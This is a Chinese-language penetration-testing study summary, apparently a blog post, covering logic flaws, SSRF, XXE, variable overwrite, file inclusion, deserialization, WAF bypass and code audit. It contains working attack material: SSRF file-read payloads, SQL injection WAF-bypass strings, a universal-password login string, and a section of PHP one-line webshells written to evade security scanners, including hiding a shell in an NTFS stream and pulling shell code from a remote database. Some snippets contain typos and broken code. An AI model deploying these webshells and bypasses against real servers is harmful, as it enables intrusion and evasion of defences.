网络安全入门到精通(总结篇) 最终篇(下)

每日一句:
	仰望星空的时候,不要忘记脚踏实地
	
本文内容:
	1.	web通信基础
	2.	后端数据库正则
	3.	信息收集
	4.	sql注入
	5.	XSS
	6.	CSRF
	7.	文件上传
	8.	验证码、密码找回漏洞
	9.	越权漏洞
	10.	SSRF
	11.	支付漏洞
	12.	XXE
	13.	变量覆盖
	14.	文件包含漏洞
	15.	序列化
	16.	Bypass绕过[SQL注入]
	17.	Bypass绕过[Webshall]
	18.	代码审计

八.验证码、密码找回漏洞

逻辑漏洞:不是发生在代码层面的错误,而是逻辑层面的错误。
		 特别是对一些大厂商的挖掘,很难有代码层次的错误

1.验证码
	1.验证码:
			核心:是一种区分用户是计算机还是人的公共全自动程序,就是生成问题,而这个问题必须只有人类才能解答。
			防止:恶意破解密码、刷票、论坛灌水,有效防止某个黑客对某一个特定注册用户用特定程序暴力破解方式不断登录尝试。	
	2.验证码漏洞类型:
			一、前端验证码验证,没有后端验证,直接抓包然后进行跑数据包,反正又没有验证的阻碍。		
			二、验证码设置了但是并没有检验,乱输验证码也能成功的登录
			三、验证码可以重复利用(常见)。
			四、验证码空值绕过。 比如,抓包,将验证码的传参删除,验证码就失效。(常见)
			五、验证码可控制,比如它的验证码包含在url里面,是一个url传参,我们可以把url设置,那么验证可控制。
			六、验证码有规则,比如是时间戳的后6位(rand函数进行随机数)
			七、有万能验证码,验证无论是什么,只要输入000000就能直接绕过。
			八、验证码有的时候会藏有cookie里面,分析一下是不是存在验证码的参数。
	3.验证码绕过:
			一.通过验证码的逻辑入手。
			二.通过Python、golang等程序自动识别入手。
			
		遇到验证码逻辑漏洞,爆破出密码,可以提交弱密码和验证码逻辑漏洞。
		不出意外,一个中危,一个高危。
		
2.密码找回:
	1.有一类验证码,他并不是区分用户是计算机还是人的公共全自动程序,他是用来证明你的身份的。
			比如登录微信、支付宝支持短信验证码登录,像这类验证码他实际上是用来区分你的身份的。
	2.找回密码渠道:
			第一种往邮箱发送明文或密文的密码或者验证码(手机短信验证就是往你手机号码发验证码)通过这样的方法来判断是否是本人
			第二种发送一个重置密码的链接到邮箱。
	3.密码找回产生的漏洞:
			一、验证码发送后前端返回
			二、验证码无次数限制可爆破
			三、验证码可控
			四、直接修改密码页面
			五、缺失的身份验证-->绑定别人的账号到自己的手机
			六、越权漏洞-->自己验证码通过改包然后修改他们的密码

九.越权漏洞

1,什么是越权?
越权漏洞的概念:
		越权漏洞是一种很常见的逻辑安全漏洞。是由于服务器端对客户提出的数据操作请求过分信任,忽略了对该用户操作权限的判定。
		导致修改相关参数就可以拥有其他账户的增、删、查、改功能,从而导致越权漏洞。
越权操作类型:
		横向越权操作(水平操作):是指相同权限下不同的用户可以互相访问。
		垂直越权操作(垂直操作):是指低权限用户可以使用高权限用户的功能。
		交叉越权:皆可以。
越权测试方法:	
		水平越权测试方法主要就是看看能够通过A用户操作影响B用户。
		垂直越权测试方法主要就是看看使用低权限用户能否使用高权限用户的功能,比如普通用户可使用管理员功能。	

2,越权测试过程
把握住传参就能把握住逻辑漏洞的命脉。
		~越权测试,登录A用户,正常更改或者是查看A用户信息,
		~然后抓取数据包,将传参ID修改其他用户,
		~如果能成功看或者修改了同权限其他用户的信息,就属于水平越权测试,
		~如果可以影响高权限用户就是垂直越权。
		
传参需要自己检测,(常见:uid= id= user= 等)通常使用burp进行抓包传参(传参可能在GET/POST/COOKIE)。

3,危害
		~不需要输入原密码的修改密码,
		~修改他人密码、修改资料
		~查看订单的时候,遍历订单等

4,常见越权漏洞(未授权访问)
		抓取传参可以在浏览器、app、应用程序(exe),不要有思维局限
		
		未授权访问,严格意义上而言这个不属于越权漏洞,,是在未登录的情况下,访问登录后的页面,可以访问。
		
		即:越权一定未授权访问,未授权范围跟未必会越权

十.SSRF

XSS跨站脚本攻击
CSRF跨站请求伪造
SSRF服务器端请求伪造

1,SSRF:
什么是SSRF:
		定义:攻击者能够从易受攻击Web应用程序发送精心设计的请求,对其他网站进行攻击。
			  或者说,利用一个可发起网络请求的服务当作跳板来攻击其他服务
		简单来说:就是攻击者可以借用目标网站攻击其他网站(借刀杀人)。
		
作用,能干什么?
		1.隐藏自己。
		2.进入内网,扫描内部网络,开心渗透。
		3.可以更好的对那台存在SSRF漏洞的服务器进行攻击。
		4.向内部任意主机的任意端口发送精心构造的数据包[payload]。
		5.DDOS(请求大文件、始终保持连接Keep_Alive Alvays)。
		6.暴力穷举[users/dirs/files]。
		
SSRF漏洞的核心是什么?
		进入了内网,绕过了很多防火墙机制,因为防御大部分对外不对内
		可以去访问仅仅对内部开放的危险端口。扩大危害(redis之类的)
		可以通过file协议读取敏感信息
		
主流防护
	1.WAF  防火墙  IPS
	2.主流防护概念:防外不防内,外网很强悍,内网很脆弱。	
	故,ssrf的主要危害就是对内网的威胁,使脆弱的内网暴露在公众之下
	
常用协议:
	1.dict字典协议:// ,可以做到探测的功能,可以探测端口,中间件,版本等,如url=dict://127.0.0.1:80。
	2.file读本机网站的协议:// . 如:url=file:///c:/1.txt 作用:可以在文件系统中读取文件,有的时候会被禁用
	3.ftp读取文件协议:// ,ftp是否开起支持,并不能直接使用,并且没有那么多站点开启了ftp。
	4.ssrf支持协议:dict://  file://  sftp://  ldap://  gopher://  ftp://  http:// 等
	5.gopher协议:可以用这个协议发送各种格式的请求包
	
主要危害(常见危害):
	SSRF原理类似于代理,但是主要危害是内网渗透
	1.读取敏感文件
		如:url=file:///c:/1.txt	
	2.探测端口
		url=dict://127.0.0.1:80		有些端口对内不对外,仅能通过127.0.0.1:xx访问
		
如何挖掘SSRF漏洞:
	1.能够对外发起请求的地方,就可能存在SSRF漏洞[POST或GET]。
	2.传参里面存在了文件后缀或者协议,一定要重视。
		出现协议说明,这里90%能发起请求,比如:http://  ftp://等。
		出现文件后缀,说明这里可能有发起请求|任意文件下载|任意文件读取,比如:index.php; x.html等
		../作用:跳出目录。
	3.从远程服务器请求资源:
		数据库内置功能[Mysql],openrowser函数操作远程数据库[操作内网的数据库]。
		
如何防御:
	1.限制请求的端口。
	2.过滤返回的信息。
	3.黑名单内网ip。
	4.禁用其他协议,允许http,https。
	
其他补充:
	1.端口可以使用Burp爆,但是BURP扫端口和nmap扫描端口是不同的,burp扫描内部端口,在内部是可以调用的,
	2.空白页面:访问网站或者端口,是空白页面,,并不一定是空白页面,需要检查源代码看看。
	3.ssrf与csrf:除了名字相似,基本没联系,一个是借刀杀人,一个是利用cookie。

十一.支付漏洞

1.快捷支付原理:
	商户网站接入支付结果有两种方式:
		一、通过浏览器进行跳转通知[不常见]:
				就是你付账之后,浏览器通知服务器,基本依托前端的跳转,服务器更新,不可靠。
		二、服务器端异步通知[常见]:
				该方式是通过支付公司服务器端后台直接向用户指定的异步通知URL发送参数,采用POST、GET的方式。
				就是你付账之后,支付商和商家有自己的联系通道,不仅仅依靠客户浏览器跳转。
2.常见的支付漏洞:
		一、修改支付价格;
		二、修改支付状态;
		三、修改订单数量;
		四、修改附属性质;
		五、越权支付;
		六、无限制试用;
3.支付漏洞如何挖掘:
		找到关键的数据包:可能一个支付操作三四个数据包,要对数据包进行挑选。
		分析数据包:支付数据包中包含有很多的敏感信息[账号、金额、余额、优惠],要尝试对数据包中的各个参数进行解析。
		不按套路出牌:多去想想开发者没有想到的地方。
		pc端尝试过:wap端(移动端网页)、app端也都尝试一下。
4.防御方法:
		后端检查每一项值,包括支付状态。
		检验价格、数量参数、比如产品数量只能为正整数,并显示购买数量。
		与第三方支付平台对比,实际支付的金额是否与订单金额一致。
		支付参数进行MD5加密,解密,数字签名及验证,这个可以有效的避免数据修改,重放攻击中的各种问题。
		金额超过阀值,进行人工审核。

十二.XXE

0,重要函数
		simplexml_load_string的函数,在php中只要有此函数,就可能造成xxe。
		file_put_contents函数,新建文件,格式:file_put_contents('新建文件名','新建文件内容')

1.什么是XXE:
	XXE就是xml外部实体注入。本质也是一种注入。
	
2.XXE核心:
	原理:
		攻击者使用关键字SYSTEM,强制XML解析器去访问攻击者指定的资源内容[可以是本地文件,也可以是远程服务器系统上的文件]
	条件:
			~用户能够控制输入
			~程序原本要执行代码,拼接了用户输入的数据,然后去执行。
	作用:	读取文件,攻击内网。
	危害:
			读取任意文件、
			执行系统命令、
			探测内网端口、
			攻击内网网站、
3.XXE不足:
	很多时候后端语言解析XML后,并不会给输出。
	这样就要使用一个类似于接收平台一样的接收器:
		XML读取文件后发送到平台;
		平台存储,然后再去接收平台查看就可以了[和反弹注入相似]。
	步骤:
		1.xml负责读取我们想要的内容
		2.php负责接收xml读取的内容,并将内容保存到txt中。
		3.txt负责显示读取的内容。
		
4.XXE防御:
	方法一、
			使用开发语言提供的禁用外部实体的办法
			php:libxml_disable_entity_loader(true);
	方法二、
			过滤用户提交的XML数据。
			关键词:不允许出现SYSTEM和PUBUC。
			
5.XXE扩展:
		实体的名称可以随便起。
		外部引用支持http、ftp等协议,不同的语言支持的协议不同,但存在一些通用协议
	如:
		libxml2:	file、http、ftp
		php:		file、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
		java:		http、https、ftp、file、jar、netdoc、mailto、gopher *
		.net:		file、http、https、ftp

补充:

1.什么是XML?
	1.XML指可扩展标记语言。
	2.XML是一种标记语言,很类似与HTML.
	3.XML的设计宗旨传输数据,而非显示数据。
	4.XML标签没有被预定义,需要自行定义标签。
	5.XML被设计为具有自我描述性。
	6.XML是W3C的推荐标准。
2.特点:
	1.XML是纯文本,本身没有危害,就是一个存储数据的;但是在一些动态语言脚本里边存在一些函数:
		如:simplexml_load_string的函数,这个函数是将xml转化为对象,在php中只要有此函数,就可能造成xxe。
	2.XML可以自己发明标签[允许定义和文档结构]。
	3.XML无所不在,XML是各种应用程序之间进行数据传输的最常用工具,并且在信息存储和描述领域越来越流行,
3.结构:
	第一部分是声明,主要定义XML使用版本和使用编码
	第二部分是DTD部分,主要是约束作用,简单的说,给内容部分定规矩
		DTD约束的三种形式:
			内部DTD:<!DOCTYPE 根节点  [DTD的代码]>
			外部DTD:<!DOCTYPE 根节点 "DTD的地址">
			网络DTD:<!DOCTYPE 根节点 PUBLIC  "DTD的名称"  "DTD的地址">
	第三部分是内容。
	
	注意:
		定义实体必须是在DTD部分,DTD是定义XML变量,可以实现远程调用。
		DTD部分:实体用于定义应用普通文本或特殊字符的快捷方式的变量。
		实体:存储数据的变量,实体引用是对实体的引用,实体可在内部或外部进行声明。

十三.变量覆盖

一、什么是变量覆盖
	1.变量覆盖定义:
			指的是可以利用我们的传参值替换程序原有的变量值。
			
			举例:
					$a=123
					$a=124
					echo $a
			运行结果:124。
		
	2.怎么寻找变量覆盖?
			$$使用不当:特殊符号使用不当。
			import_request_variables()使用不当。
			开启了全局变量注册等
			extract()函数使用不当[常见]:	将数组中的数据变成变量。
			parse_str()函数使用不当[常见]:	将查询字符串解析到变量。
			
二,函数解析:
	1.extract()函数:
		作用:[将数组中的数据变成变量]
		实例:
				<?php
				$a = "1";
				$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
				extract($my_array);
				echo "\$a = $a; \$b = $b; \$c = $c";
				?>
		运行结果:$a = Cat; $b = Dog; $c = Horse
		
		一道ctf题实例:
				<?php
				$flag = "flag(12345)";
				extract($_GET);
				if(isset($gift)){
					$conetnt=trim($test);
					if($gift==$content){
						echo 'flag is'.$flag
					}}
				?>
		解析:
				isset是判断gift是否存在
				trim是将变量test值的空格去掉
				$test在extract上边,就可以通过get传参text=121,将原来test覆盖掉
				还需传参gift,让它符合if语句的条件
			
			答案:?test=123&gift123
			
	2.parse_str()函数:
		作用:将查询字符串解析到变量中
		实例:
				<?php
				parse_str("name=aa&&age=60");
				echo $name."<br>";
				echo $age;
				?>
				运行结果:aa和60 
		解析:
				parse_str("name=aa&&age=60") 相当于完成了$name ='aa'和$age ='60'
				如果在patrse_str中可以直接传参的话,也可以覆盖变量。
						<?php
						$a=$_GET['id']
						parse_str("$a");
						echo $name."<br>";
						echo $age;
						?>
				
	3.特殊符号搭配[$$]:
		不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$
		例题:
				<?php
				$a = 1;
				foreach(array('_COOKIE','_POST','_GET') as $_request) {
				foreach($$_request as $_key=>$_value) 
				{$$_key=addslashes($_value);}}
				echo $a;
				?>
		解析:
				addslashes:一个函数,起到了魔术引号的作用,在每个双引号之前加反斜杠。
				foreach遍历数组。
				会接受GET参数、POST参数、COOKIE参数,将接收参数依次放入$_request
				也可以看作:$_request=$_GET+$_POST+$_COOKIE
				$_key=>$_value 这是个数组解析,实际上就是键值分离,$_ket=键名,$_value=键值
				正常而言$a = 1是一个定值,但是因为$$_key的缘故,当我传参a=2;那么$$_key=addslashes($_value);就变为了$a = 2 .
			
			再举个简单的列子:
				$ a = 'b';
				$ b = 'zx';
				echo $$a;
				运行结果:zx
			解释:$$a--->$b-->zx

十四.文件包含漏洞

1,什么是文件包含漏洞?
	定义:
		攻击者利用包含的特性,加上应用本身对文件[包含]控制不严格,最终造成攻击者进行任意文件包含。
		文件包含并不属于漏洞,但是由于对包含的文件不可控,导致文件包含漏洞的产生。
	注意:
		本地文件包含[LFI]:包含服务器上的资源。
		远程文件包含[RFI]:通过HTTP协议包含其它地方的资源,需要在phpini修改配置,(allow_url_include = On)默认是关闭的,需要开启,配置文件修改后需要重启
		被包含的文件,不管后缀是什么,都会被当做php代码解析执行,
		包含文件可以简化代码。
函数解析:
	理解:
			include:使用include引用外部文件时,只有代码执行到include代码段时,
					 才会调用外部文件,当引用文件发生错误,系统给出警告错误,
			   		 整个php文件会继续执行。
			require:在php文件执行之前,php解析器会被引用的文件全部内容替换require语句,
					 然后require语句之外的其他语句,组成个新的php文件,最后按新的php文件执行程序代码,
					 当引用文件发生错误,整个php文件不再继续执行。
			include_once:
					导入文件前先检测文件是否已经有这几个函数调用了,如果是,则不会执行该函数去引用文件。
			require_once:
					在应用require_once时,先会检查要引用的文件是否已经有这几个函数调用了,如果是,则不会执行该函数去引用文件。
			
			在同一文件中使用两次require_once,只有第一个文件被执行,第二引用文件不会被执行。
		
挖掘技巧:
	因为对文件包含主要是对包含的函数,处理不当造成,可以针对性的对这些函数进行点名,如:
		1、require()
		2、require_once()
		3、include()
		4、include_once()
		
防御策略:
	1.无需情况下设置allow_url_include和allow_url_fopen为关闭。
	2.对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir。
	3.建议假定所有输入都是可疑的,尝试对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格检查,参数中不允许出现../之类的目录跳转符。
	4.严格检查include类的文件包含函数中的参数是否外界可控。
	
其他补充:
	file_put_contents函数
		作用:建立新文件
		格式:file_put_contents('新建文件名','新建文件内容')
		例如:
				file_put_contents('sb.php','<?php eval($_REQUEST['a']);?>')

十五.反序列化

0,关键函数
		unserialize(),在php里存在此函数,若可以控制传参,则极大可能存在反序列化,
1,序列化:
	什么是序列化:
			是将对象的状态信息转换为可以存储或传输的形式的过程
			[将状态信息保存到字符串]。
	什么是反序列化[本身不是漏洞]:
			反序列化就是再将这个状态信息拿出来还原状态
			[将字符串转化为状态信息]。
			
	状态信息:对象、类、数组、变量、自定义函数等。	
	反序列化漏洞:
		可以任意控制反序列化处理的字符串,就是反序列化漏洞。
	函数:
			__FILE__:获取当前文件路径。
			show_source():显示文件源码。
			print_r():可以输出非字符串,如对象,数组等。
			serialize:序列化将对象状态信息转化为字符串
			unserialize:反序列化将字符串转化为对象的状态信息。
	举例:	
		show_source(__FILE__) :查看当前文件的内容[源码]
		show_source("x.php") :查看x.php文件的内容[源码]
		
		serialize():将对象转变成字符串:				
				<?php
				show_source(__FILE__);
				class aa {
					var $b = '123';
				}
				$class1 = new aa; 新建对象
				$class1_ser=serialize($class1); 序列化
				var_dump($class1_ser);
				?>
		运行结果:O:2:"aa":1:{s:1:"b";s:3:"123":}
		解析:
				O表示object对象,
				2表示对象的名称有2个字符
				aa对象名称,1表示只有一个值
				s表示字符串1表示变量名字长度
				s表示字符串3表示变量值的长度
				
		unserialize()可以从序列化后的结果中恢复对象(object)
				<?php
				show_source(__FILE__);
				class aa {
					var $b = '123';
				}
				$class2 = 'O:2:"aa":1:{s:1:"b";s:3:"124";}' ; 
				$class2_ser=unserialize($class2); 
				var_dump($class2_ser);
				?>
	  运行结果:aa Object([b] => 124)
	  
		魔术方法:满足某种条件后自动执行函数
			__construct():当对象创建(new)时会自动调用。但是在unserialize()时是不会自动调用的。(构造函数)。
			__destruct():当对象被销毁时会自动调用。(析构函数)。
			__wankeup():如前所提,unserialize()时会自动调用[反序列时]。

十六.Bypass绕过[SQL注入]

1,Bypass绕过[SQL注入]:
		WAF是一个缩写,全名叫做Web应用防护系统。
		通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
WAF分类:
		硬件类型,一般不会遇到,因为硬件WAF价格昂贵。
		软件类型,常见的有:安全狗、云锁、悬镜、护卫神、云盾。
WAF检测机制:
		核心:正则匹配,还有字符串强行匹配,语义解析等、
		常见:正则匹配[符合规则,拦截]。
Bypass是什么?
		字面意思绕过,通过特殊语句的构建进行渗透测试,然后达到绕过WAF的手法。
常见绕过方法:
		在传参时,被WAF拦截,要先将传参的数据,一点点拆开来,
		看看WAF具体是匹配什么拦截的。
		
	1.如是1=1:
		尝试:
				-1=-1 返回正常
				-2=-2 报错,说明此处存在注入点。
	2.如是and
		尝试:
				数据库的逻辑符号:"&"
				注意:"&"在url中具有特殊含义,所以需要进行URL编码。
	3.如是sql语句:
		尝试1:
				内联注释:内连注释,是Mysql为了保持与其它数据库兼容,将Mysql中特有的语句放在/*!...*/中执行。
				这些语句在不兼容的数据库中不执行,而在Mysql中自身能识别,执行。
				举例:id=1 union /*!10044select*/1,2,3
				解释:10044为数据库的版本,可通过版本绕过,使用burp抓包爆破,看那些版本是可以绕过的。
		尝试2:
				注意:绕过方法是可以结合的,比如内联结合特殊字符。
				举例:id=1 union -- qwe/*%0a select1,2,3from admin %23 */
				解释:%0a换行 -- qwe注释/*  %23注释*/
		尝试3:
				可以使用Apace参数污染,Apace特有的。
				举例:id=1 /*$id=2 union select 1,2,3 from admin %23*/
				解释:传参时,以为id=1,解析时,实际id=2
	4.总结:
			大小写绕过[很老的WAF才有用]
			替换绕过[很老的WAF才有用]类似于文件上传"pphphp"。
			特殊字符绕过;[%0a换行]
			编码绕过[比如多次解码的东西,例如DOM xss绕狗]
			等价替换(利用其它函数替代)union #%0aselect拦截 [union all #%0aselect不拦截]。
			容器特性(例如Apace的参数污染 HPP,或者是IIS的%分隔)在IIS传参里面写s%e%l%e%c%t=>select
			白名单(管理员权限或者是127.0.0.1本地访问不拦截)
			缓冲区(数据太多了,超出了WAF检测的范围,)
			有些函数加了反引号,可以运行,常见的是sleep、updatexml

十七.Bypass绕过[Webshall]

1,WAF检测机制:
		最常见的php一句木马是:<?php @eval($_REQUEST['a'])?>
		如果被拦截了,就需要考虑他的拦截机制是什么样的,和sql注入拦截一样,将代码拆分,一点点来,看是匹配什么。
2,常见的绕过手法:
		函数替代:安全狗匹配的就是$_REQUEST[]使用函数替代中括号end函数。
		通过常量定义。
		通过字符串拼接+双美元符。
		通过函数定义强行分隔。
		通过类定义+魔术方法,然后传参强行分隔。
		多种方式传参免杀。
		通过所有函数,二维数组调用免杀
	
	1.函数替代:安全狗匹配的就是$_REQUEST[],使用函数替代中括号。
			举例:<?php @eval (end($_REQUEST));?>
	2.通过常量定义:
			<?php define("a","$_REQUEST[a]");eval(a);?>
	3.通过字符串拼接+双美元符:
			<?php
				$a='ass';
				$b=ert;
				$funcName=$a.$b;
				$x='funcName';
				$$x($_REQUEST['a']);
			?>
			$assert($_REQUEST[1]); 	assert类似于eavl
			为什么要用assert,因为php中eval不能拼接执行(规定)	
	4.通过函数定义强行分隔:
			<?php
			fuction a($a){
			return $a;}
			eval(a($_REQUEST)['a']); 强行分隔$_REQUEST['a']
			?>
	5.通过类定义+魔术方法,然后传参强行分隔:
			<?php
			class User{
			public $name='';
			function __destruct(){
				eval("$this->name");
				}
			}
			$user=new User;
			$user->name=''.$_REQUEST['a'];	
			?>			
	6.多种方式传参免杀:
			<?php 
			$COOKIE=$_COOKIE;
			foreach($COOKIE as $key=>$value){
			if($key=='assert'){
			$key($_REQUEST['a']);
			}
			}
			?>
			需要对cookie传参
	7.通过所有函数,二维数组调用免杀:
			<?php 
			$a=get_defined_functions();
			$a['internal'][841]($_REQUEST['a']);
			?>
			通过二位数组,数组,键,值。
	8.绕D盾:
			<?php 
			if($_SERVER['HTTP_USER_AGENT']==='1'){
				eval (end($_REQUEST));}?>
			需要抓包将USER_AGENT改为1
	9.得到shall藏shall:NTFS文件流,寄存:
			echo abcd>>a.txt:b.txt 将abcd写入a.txt:b.txt,很明显生成一个a.txt,将b.txt寄宿到a.txt文件上。
			任意文件存放,访问即可
			<?php include('/:123.txt')?>
			藏shall,将获取的shall藏到[寄存]/文件里
			echo"<?php eval($_REQUEST['a']);?>">>/:123.txt
			dir也查询不到
			安全狗检测不出,D盾爆出可疑
			只有windows里可以用。
	10.终极大法:
			<?php
			eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','database'),'select * from table_name'))['column_name']);	
			?>
	通过连接数据,执行数据库,查询info表里,info字段,只能查询一条数据,所以第一条数据要放一句话木马:<?php @eval($_REQUEST['a'])?>
	让服务器去连接读取我们放在公网的数据库的内容,可以使用香港云、虚拟主机等

十八.代码审计

1,代码审计的思路
		渗透测试的渗透测试人员->渗透测试->找漏洞->找BUG->开发人员技术不到关或者衔接问题等。
		安全不能孤立=>漏洞一定存在(用户体验性与安全性成反比)
		
	代码审计核心在于通过源代码,知道代码如何执行,然后根据代码执行中可能产生的问题来寻找漏洞。
	代码审计一般泛指白盒审计,但是要记住,通过型漏洞,例如CMS通杀漏洞,
	其实并不是仅仅只有代码审计能够找到,本地搭建
	然后纯黑盒测试也可以的,只不过代码审计更为全面的容易找到漏洞。
	
	代码审计其实思路很简单,一共两条路线,全文通读和敏感函数定义
	全文通读:
			将全文代码一行一行查看。
	敏感函数定位:
			掌握住可以存在危险函数的地方,反推。
			变量覆盖
			文件包含
			
	无论是哪一个审计方式都需要一定的编程功底,但是如果你的编程功底不够怎么办?
	其实可以尝试使用黑盒+白盒代码审计的方式进行一个学习,
	通过黑盒的方法进行测试,然后去了解究竟传参进去经过处理发生了什么?
	然后构建合适的语句进行尝试,最后找到问题所在点。
	
2,渗透测试的步骤[思路]
	黑盒测试:
			信息收集
			寻找功能点
			sql注入
			XSS
			CSRF
			文件上传
			XXE		【simplexml_load_string()函数】
			
			逻辑漏洞:
					验证码绕过
					密码找回
					支付漏洞
					越权
					未授权访问
	白盒测试:
			变量覆盖
					extract()函数:
					parse_str()函数:
					特殊符号搭配[$$]:
			文件包含
					include()函数
					require()函数
			反序列化
					unserialize()函数
					
3,以CMS为例:
	1.划分功能模块:
			安装:
					重复安装,可以进入后台GETSHELL
					很多网站,提倡,站库分离,即网站与数据库不在同一台机器,
					重复安装时,可以将数据库外接到我们公网数据库。
					双引号解析,直接shell
					注意:双引号解析只会发生在php5.5以上版本
			前台:
				用户注册:
					可能存在的危害:
							sql注入、存储型XSS、逻辑错误可爆破用户名
					注册处理页面功能一般是:
							接收传参、过滤参数、插入数据库
					审计思路;
							正常注册,提交,抓包
							查看请求包内容[主要是提交的数据]
							查看提交数据由谁处理[找处理文件]
							查看有没有标识符[不是我们提交的数据,但是它参与了传参]
							
							一个php文件可能有几个功能模块,标识符的作用就是调用哪个功能
							去标识符文件,查看功能代码的作用
							如果接受参数,直接插入数据库,没有过滤参数,那就会出问题。
							
							比如注册的地方存在XSS,如果只是在前台,那么影响不大,
							可以登录后台查看,如果没有也存在,那这个危害就大了
							
						当我们打出xss 的时候,就应该考虑这个地方是不是也具有SQL注入
						在填写注册信息的时候加上'")#这四个符合试试闭合,如果注册成功,就没有什么危害了。
						当然没有什么危害,也只是说黑盒方面可能不存在危害了,但是白盒还可以
						去查看源代码怎么过滤的,找到具体的防护手段,看看是不是还有可能绕过。
						比如:遇到的魔术引号,可以使用宽字节,使用burp的时候post传参一般是不会进行url编码的,所以需要更改hex,就可以解决了
						可以使用updatexml()并补充对应格式,最后加注释打出报错注入。
						对应该是可以通过seay代码审计工具,抓到。
						若一直执行失败,可以先将语句放到数据库执行,若没问题,说明cms有所防护(关闭了错误回显)
						可以使用:盲注,或查找回显是怎么关闭的[需要代码功底]。
						如果存在验证码且验证码每次都改变,那么盲注就不行了
						还有一种方法,就是:插入一句,可以实现一次插入多条数据的功能。
						想方法,将第一次value数据闭合,然后在进行一个数据插入,第二条数据插入就可以使用子查询等,查询出我们想要的内容。				
						在注册的时候,会遇到提示用户名已注册这种情况,可以使用burp抓包爆破出数据库中都有哪些用户名。
						
				用户登录:
					可能存在的危害:	
							宽字节注入-万能密码
							cookie未加密等
							如用户名输入:admin 密码输入:%df' or 1=1#
				修改资料
					可能存在的危害:
							存储型XSS
							SQL注入
							文件上传等
------------------------
其他补充:
-----------------------
1,一些CMS的漏洞仅能在特定的版本中才可以复现。
2,php.ini文件修改后,需要重启phpstudy生效。
3,如果自己搭建的CMS注册一直出现问题的话,可能是session
4,同一个网站,在一个地方出现注入,其他地方也有可能存在。
		比如:在用户登录出存在注入,在管理员登录也很有可能存在。
5,后台比前台脆弱的多;内网比外网脆弱的多。
6,魔术引号的使用范围(宽字节核心-魔术引号核心-将单双引号、反斜杠再添加一个反斜杠)
		魔术引号尽可以影响GET/POST/COOKIE传参。
		可以通过head传参绕过,使用$_SERVER()获取头信息。
				$_SERVER(HTTP_REFERER)
				$_SERVER(HTTP_USER_AGENT)
				$_SERVER(REMOTE_ADDR)
			会获取ip:一般网站匿名评论等。
7,后台比前台脆弱多,内网比外网脆弱的多。
	如:CMS后台提供备份数据库的功能,命名规则是以时间规则命名的。
			若这个文件不加限制,普通用户也可以反问,这就很危险了。
			步骤:
					备份文件
					需要知道备份sql文件存放位置
					burp找对的目标网站爆破指定位置,可以指定时间段。
					爆出文件,下载用本机的数据库管理员程序打开
					然后就获取了数据库的所有数据。
8,sqlmap中*的使用:
		本质:就是sqlmap会在*的地方进行所有语句替换。
9,本地测试过程中,不知道传参发生了什么,就可以修改本文件,将接收传参的变量,输出一下。
10windows系统文件路径具有长度限制:
		如果输入的数据超过长度限制,,超过的数据就会被系统丢掉,具体长度是256个字符。
		还有就是在路径后边加.会被去掉,如:1.txt...... 最终是1.txt
		所以我们在渗透测试过程中,可以使用.超过长度的限制让开发本意拼接的内容失效。
		注意:
				截断问题在php5.3以下的版本可以实现。
				本质:include等一些函数获取的长度过长时,就不会执行。
				文件上传的00截断在5.2以上版本也不行。
				修复了00被当做终结符的bug
11,图片马成功的条件:
		1.能传入到服务器没有进行二次渲染,影响到一句话木马。
		2.传入的马被相对应的语句解析了
12,文件包含的马有时候无法直接使用:
		比如需要cookie的时候,可以使用file_put_contents('文件名','一句话木马')写入一个文件,直接访问文件,拿下shall
13,本机测试的一些骚操作
	有时候,我们上传的木马没有解析成功,会不会是我们的木马有问题?
			解决方法:
					找到我们的图片马的位置
					直接将文件改为1.php,访问试试,看看有没有报错。
			有的时候图片马没有起到效果,可以换一张图片试试
			有的时候图片马没有问题,但是使用菜刀链接不上,可以使用别的软件试试,或者换别的版本试试。
原创文章 61 获赞 13 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/105675700
今日推荐